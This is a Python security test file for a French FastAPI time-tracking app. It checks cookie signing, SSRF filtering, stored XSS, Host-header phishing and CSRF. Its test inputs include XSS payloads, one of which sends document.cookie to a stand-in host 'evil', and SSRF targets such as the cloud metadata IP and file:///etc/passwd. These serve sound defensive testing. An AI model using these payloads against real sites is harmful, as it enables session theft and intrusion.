Files
pointeuse-optimisator/app/tests/test_security.py
Jacquin Antoine c1a2f38044 Convertit les endpoints de présence en POST (anti CSRF trivial)
GET /presence/{token}/arrivee et /depart modifiaient l'état (save_presence,
append_log) : c'est anti-pattern REST, CSRF-trivial via <img src="..."> si
le token fuite, et le token se retrouvait dans les logs reverse-proxy,
l'historique navigateur et les referrers.

Les deux routes passent en POST. C'est un breaking change pour les clients
Tasker actuels, mais Tasker supporte HTTP POST nativement et la doc
docs/notifications.md est mise à jour (Tasker : HTTP Request méthode POST ;
script NetworkManager : curl -X POST).

Les tests existants qui utilisaient client.get(...) sur ces routes passent
en client.post(...). Un nouveau test vérifie que le GET renvoie désormais
405 Method Not Allowed et que le POST continue de fonctionner.

💘 Generated with Crush

Assisted-by: Crush:glm-5.2
2026-07-20 00:32:50 +02:00

424 lines
16 KiB
Python

"""Tests de sécurité : anti-forgery du cookie de session.
Avant le correctif, n'importe qui pouvait forger le cookie `user_id=admin` et
accéder aux données d'un autre utilisateur. La signature HMAC doit rendre toute
altération détectable.
"""
import sys
# DATA_DIR temporaire est positionné par conftest.py avant l'import de models.
import models # noqa: F401
sys.path.insert(0, ".")
import main
from fastapi.testclient import TestClient
client = TestClient(main.app)
def _seed_user(uid: str):
import bcrypt
models.save_auth(uid, email=f"{uid}@x.fr",
password_hash=bcrypt.hashpw(b"x" * 12, bcrypt.gensalt()).decode())
def _login(uid: str) -> dict:
_seed_user(uid)
r = client.post("/login/password",
data={"email": f"{uid}@x.fr", "password": "x" * 12},
follow_redirects=False)
assert r.status_code == 302, r.text
return {"user_id": r.cookies.get("user_id")}
# ── Forgery du cookie ─────────────────────────────────────────────────────────
def test_unsigned_cookie_rejected():
"""Un cookie `user_id=admin` forgé à la main doit être rejeté."""
_seed_user("alice")
r = client.get("/semaine/2026/29", cookies={"user_id": "alice"}, follow_redirects=False)
assert r.status_code == 302
assert "/login" in r.headers["location"]
def test_tampered_signature_rejected():
"""Un cookie valide dont on modifie la signature doit être rejeté."""
cookies = _login("alice")
raw = cookies["user_id"]
user_id, _, sig = raw.rpartition(".")
# Inverse un caractère de la signature
bad_sig = ("0" if sig[0] != "0" else "1") + sig[1:]
tampered = f"{user_id}.{bad_sig}"
r = client.get("/semaine/2026/29", cookies={"user_id": tampered}, follow_redirects=False)
assert r.status_code == 302
assert "/login" in r.headers["location"]
def test_valid_signed_cookie_accepted():
"""Le cookie signé délivré par /login/password doit ouvrir la session."""
cookies = _login("alice")
r = client.get("/semaine/2026/29", cookies=cookies, follow_redirects=False)
assert r.status_code == 200
def test_signed_cookie_cannot_be_replayed_for_other_user():
"""La signature d'alice ne doit pas valider pour bob (user_id modifié)."""
cookies = _login("alice")
raw = cookies["user_id"]
_, _, sig = raw.rpartition(".")
# Remplace alice par bob en conservant la signature d'alice
forged = f"bob.{sig}"
_seed_user("bob")
r = client.get("/semaine/2026/29", cookies={"user_id": forged}, follow_redirects=False)
assert r.status_code == 302
assert "/login" in r.headers["location"]
# ── Helpers de signature ──────────────────────────────────────────────────────
def test_sign_and_verify_roundtrip():
sig = main._sign_user_id("alice")
assert main._verify_signed_cookie(sig) == "alice"
def test_verify_rejects_malformed_inputs():
for bad in ("", "alice", "alice.", ".", "alice.deadbeef", "inva/lid.xxx"):
assert main._verify_signed_cookie(bad) is None
def test_secret_is_stable_across_calls():
s1 = models.load_or_create_secret()
s2 = models.load_or_create_secret()
assert s1 == s2
# ── Validation SSRF du serveur ntfy ──────────────────────────────────────────
import notifications # noqa: E402
def test_ntfy_server_validation_accepts_https():
assert notifications.is_safe_ntfy_server("https://ntfy.sh")
assert notifications.is_safe_ntfy_server("https://ntfy.example.com:8080")
def test_ntfy_server_validation_rejects_loopback():
for bad in ("http://127.0.0.1:1", "http://127.0.0.1", "http://localhost",
"https://localhost:8443", "https://[::1]"):
assert not notifications.is_safe_ntfy_server(bad), bad
def test_ntfy_server_validation_rejects_private_networks():
for bad in ("https://10.0.0.1", "https://172.16.5.5", "https://192.168.1.1",
"https://169.254.169.254", "http://10.255.255.1:8080"):
assert not notifications.is_safe_ntfy_server(bad), bad
def test_ntfy_server_validation_rejects_bad_schemes():
for bad in ("ftp://ntfy.sh", "file:///etc/passwd", "gopher://x", "javascript:alert(1)"):
assert not notifications.is_safe_ntfy_server(bad), bad
def test_ntfy_server_validation_rejects_credentials_in_url():
assert not notifications.is_safe_ntfy_server("https://user:pass@ntfy.sh")
def test_ntfy_server_validation_rejects_empty_or_none():
for bad in ("", None, " "):
assert not notifications.is_safe_ntfy_server(bad), bad
def test_send_ntfy_refuses_ssrf_target():
"""Un appel vers une IP privée ne doit jamais ouvrir de connexion réseau."""
import urllib.request as u
called = {"n": 0}
orig = u.urlopen
try:
u.urlopen = lambda *a, **kw: called.__setitem__("n", called["n"] + 1)
ok = notifications.send_ntfy(
"http://169.254.169.254", "ssrf-topic",
"msg", "titre", user_id=None, token="",
)
finally:
u.urlopen = orig
assert ok is False
assert called["n"] == 0 # urlopen n'a jamais été appelé
def test_settings_save_rejects_ssrf_ntfy_server():
"""POST /settings avec un serveur SSRF doit être rejeté."""
cookies = _login("carol")
# Préserve un topic valide
models.save_notif_config("carol", ntfy_topic="t", ntfy_server="https://ntfy.sh")
r = client.post("/settings", cookies=cookies, data={
"ntfy_topic": "topic-x",
"ntfy_server": "http://169.254.169.254",
"ntfy_token": "",
"rappel_debut_h": "8",
"rappel_fin_h": "19",
}, follow_redirects=False)
assert r.status_code == 303
assert "ssrf_error=1" in r.headers["location"]
# La valeur précédente est conservée
cfg = models.load_notif_config("carol")
assert cfg["ntfy_server"] == "https://ntfy.sh"
# ── XSS stocké via /pointage ──────────────────────────────────────────────────
XSS_PAYLOADS = [
'"><svg/onload=alert(1)>',
'"><script>alert(document.cookie)</script>',
"'/><script>fetch('//evil/'+document.cookie)</script>",
]
def test_pointage_rejects_non_hhmm_value():
"""POST /pointage avec une valeur non HHMM ne doit pas être persistée."""
cookies = _login("dave")
for payload in XSS_PAYLOADS:
r = client.post("/pointage/2026-07-17", cookies=cookies, data={
"matin_entree": payload,
"matin_sortie": "",
"aprem_entree": "",
"aprem_sortie": "",
})
# La réponse ne doit pas planter
assert r.status_code == 200
# Le payload ne doit pas se retrouver tel quel dans la réponse
assert payload not in r.text, payload
# Vérification de la persistance
week = models.load_week_pointages(2026, 29, "dave")
entry = next((p for p in week if p["date"] == "2026-07-17"), None)
assert entry is not None
# matin_entree doit avoir été ignoré (None), pas stocké tel quel
assert entry["matin_entree"] is None
def test_pointage_valid_hhmm_still_works():
"""Un pointage HHMM valide doit continuer à fonctionner."""
cookies = _login("erin")
r = client.post("/pointage/2026-07-17", cookies=cookies, data={
"matin_entree": "08:45",
"matin_sortie": "12:00",
"aprem_entree": "",
"aprem_sortie": "",
})
assert r.status_code == 200
assert "08:45" in r.text
week = models.load_week_pointages(2026, 29, "erin")
entry = next((p for p in week if p["date"] == "2026-07-17"), None)
assert entry["matin_entree"] == "08:45"
def test_oob_html_escapes_date_attribute():
"""Si la date (issue de l'URL) contient des caractères HTML, ils doivent être échappés."""
cookies = _login("frank")
# Forçage d'un pointage valide pour déclencher le rendu _oob_time_cells
client.post("/pointage/2026-07-17", cookies=cookies, data={
"matin_entree": "08:45", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": "",
})
# Une date malicieuse dans /refresh/... doit être échappée si elle passe strptime
# (les caractères HTML ne passent pas strptime, mais on vérifie que l'escape est actif
# sur le rendu d'un pointage normal pour la date légitime)
r = client.post("/pointage/2026-07-17", cookies=cookies, data={
"matin_entree": "08:45", "matin_sortie": "12:00",
"aprem_entree": "14:00", "aprem_sortie": "17:30",
})
assert "<script" not in r.text.lower()
assert "onload" not in r.text.lower()
# ── Open redirect via Host header ─────────────────────────────────────────────
# Le lien set-password est envoyé par email ; son host venait de request.base_url
# lui-même issu du header Host contrôlable par le client. Un attaquant pouvait
# déclencher l'envoi d'un email légitime contenant un host arbitraire (phishing).
def _patch_send_mail_captor(monkeypatch):
"""Remplace send_mail par un capteur ; retourne le dict où les appels seront stockés."""
captured = {"calls": []}
def _fake_send_mail(to_addr, subject, body, from_addr, smtp_cfg):
captured["calls"].append({
"to": to_addr, "subject": subject, "body": body,
"from": from_addr, "smtp": smtp_cfg,
})
monkeypatch.setattr(main, "send_mail", _fake_send_mail)
# Configure aussi un SMTP fictif pour que la route ne plante pas avant l'appel
cfg = models.load_config()
cfg["smtp"] = {"host": "smtp.test", "port": 587, "user": "u", "password": "p", "use_tls": True}
models.save_config(cfg)
return captured
def test_login_rejects_untrusted_host(monkeypatch):
"""POST /login avec Host=phishing.attacker ne doit pas envoyer d'email."""
captured = _patch_send_mail_captor(monkeypatch)
# Config : allowed_email_domain=x.fr, pas de base_url, host attendu = *.x.fr ou localhost
r = client.post(
"/login",
data={"email": "nouveau.x@x.fr"},
headers={"Host": "phishing.attacker"},
follow_redirects=False,
)
# L'email n'est pas envoyé
assert captured["calls"] == []
# Un message d'erreur est renvoyé
assert "non autorisé" in r.text.lower() or "domaine" in r.text.lower()
def test_login_accepts_host_matching_allowed_email_domain(monkeypatch):
"""POST /login avec Host=app.x.fr (suffixe du domaine autorisé) doit envoyer l'email."""
captured = _patch_send_mail_captor(monkeypatch)
r = client.post(
"/login",
data={"email": "nouveau2.x@x.fr"},
headers={"Host": "app.x.fr"},
follow_redirects=False,
)
assert len(captured["calls"]) == 1
body = captured["calls"][0]["body"]
# L'URL dans l'email doit pointer vers le host attendu, pas un host arbitraire
assert "http://app.x.fr/set-password/" in body
def test_login_accepts_localhost_for_local_dev(monkeypatch):
"""localhost doit toujours être accepté (utile pour dev local et tests)."""
captured = _patch_send_mail_captor(monkeypatch)
client.post(
"/login",
data={"email": "local.x@x.fr"},
headers={"Host": "localhost:8000"},
follow_redirects=False,
)
assert len(captured["calls"]) == 1
assert "http://localhost:8000/set-password/" in captured["calls"][0]["body"]
def test_login_uses_configured_base_url_regardless_of_host(monkeypatch):
"""Si base_url est défini en config, c'est elle qui prime (anti spoofing Host)."""
captured = _patch_send_mail_captor(monkeypatch)
cfg = models.load_config()
cfg["base_url"] = "https://pointeuse.officielle.fr"
models.save_config(cfg)
r = client.post(
"/login",
data={"email": "config.x@x.fr"},
headers={"Host": "phishing.attacker"},
follow_redirects=False,
)
# L'email est envoyé avec l'URL officielle, pas le host spoofé
assert len(captured["calls"]) == 1
assert "https://pointeuse.officielle.fr/set-password/" in captured["calls"][0]["body"]
assert "phishing.attacker" not in captured["calls"][0]["body"]
# Cleanup
cfg["base_url"] = ""
models.save_config(cfg)
def test_safe_base_url_helper_unit():
"""Tests unitaires du helper _safe_base_url."""
from starlette.datastructures import Headers
class _FakeReq:
def __init__(self, host, scheme="http"):
self.headers = Headers({"host": host})
self.url = type("U", (), {"scheme": scheme})()
# Aucune config base_url, domaine autorisé x.fr
# Host valide (suffixe)
assert main._safe_base_url(_FakeReq("app.x.fr")).endswith("://app.x.fr")
# Host invalide
assert main._safe_base_url(_FakeReq("evil.attacker")) is None
# localhost OK
assert "localhost" in main._safe_base_url(_FakeReq("localhost"))
# Host sans header → None
assert main._safe_base_url(_FakeReq("")) is None
# ── Protection CSRF (Origin check) ────────────────────────────────────────────
def test_csrf_rejects_post_with_cross_site_origin():
"""Un POST avec Origin cross-site doit être rejeté."""
cookies = _login("grace")
r = client.post(
"/pointage/2026-07-17",
cookies=cookies,
data={"matin_entree": "08:00", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": ""},
headers={"Host": "testserver", "Origin": "https://evil.attacker"},
follow_redirects=False,
)
assert r.status_code == 403
assert "csrf" in r.text.lower()
def test_csrf_rejects_post_with_cross_site_referer():
"""Un POST avec Referer cross-site doit aussi être rejeté."""
cookies = _login("heidi")
r = client.post(
"/pointage/2026-07-17",
cookies=cookies,
data={"matin_entree": "08:00", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": ""},
headers={"Host": "testserver", "Referer": "https://evil.attacker/page"},
follow_redirects=False,
)
assert r.status_code == 403
def test_csrf_accepts_post_without_origin():
"""L'absence d'Origin (curl/Tasker) doit être tolérée (SameSite suffit)."""
cookies = _login("ivan")
r = client.post(
"/pointage/2026-07-17",
cookies=cookies,
data={"matin_entree": "08:00", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": ""},
follow_redirects=False,
)
assert r.status_code == 200
def test_csrf_accepts_post_with_matching_origin():
"""Un POST avec Origin == Host est accepté."""
cookies = _login("judy")
r = client.post(
"/pointage/2026-07-17",
cookies=cookies,
data={"matin_entree": "08:00", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": ""},
headers={"Host": "testserver", "Origin": "http://testserver"},
follow_redirects=False,
)
assert r.status_code == 200
def test_csrf_accepts_get_regardless_of_origin():
"""Les GET ne sont pas concernés par la vérification CSRF."""
r = client.get("/login", headers={"Origin": "https://evil.attacker"})
# 200 (page login) ou 302 (déjà loggué) mais pas 403
assert r.status_code != 403
# ── Endpoints de présence : POST uniquement (anti CSRF trivial) ──────────────
def test_presence_endpoints_require_post():
"""Les endpoints /presence/... doivent refuser les GET (CSRF trivial via <img src>)."""
notif = models.load_notif_config("alice") if (models.DATA_DIR / "users" / "alice").exists() else None
# Crée alice si nécessaire et récupère un token valide
_seed_user("alice")
token = models.load_notif_config("alice")["token"]
# GET doit échouer (405 Method Not Allowed)
r_get_arr = client.get(f"/presence/{token}/arrivee", follow_redirects=False)
r_get_dep = client.get(f"/presence/{token}/depart", follow_redirects=False)
assert r_get_arr.status_code == 405, r_get_arr.status_code
assert r_get_dep.status_code == 405
# POST doit fonctionner
r_post_arr = client.post(f"/presence/{token}/arrivee")
r_post_dep = client.post(f"/presence/{token}/depart")
assert r_post_arr.status_code == 200
assert r_post_dep.status_code == 200
assert r_post_arr.json() == {"ok": True}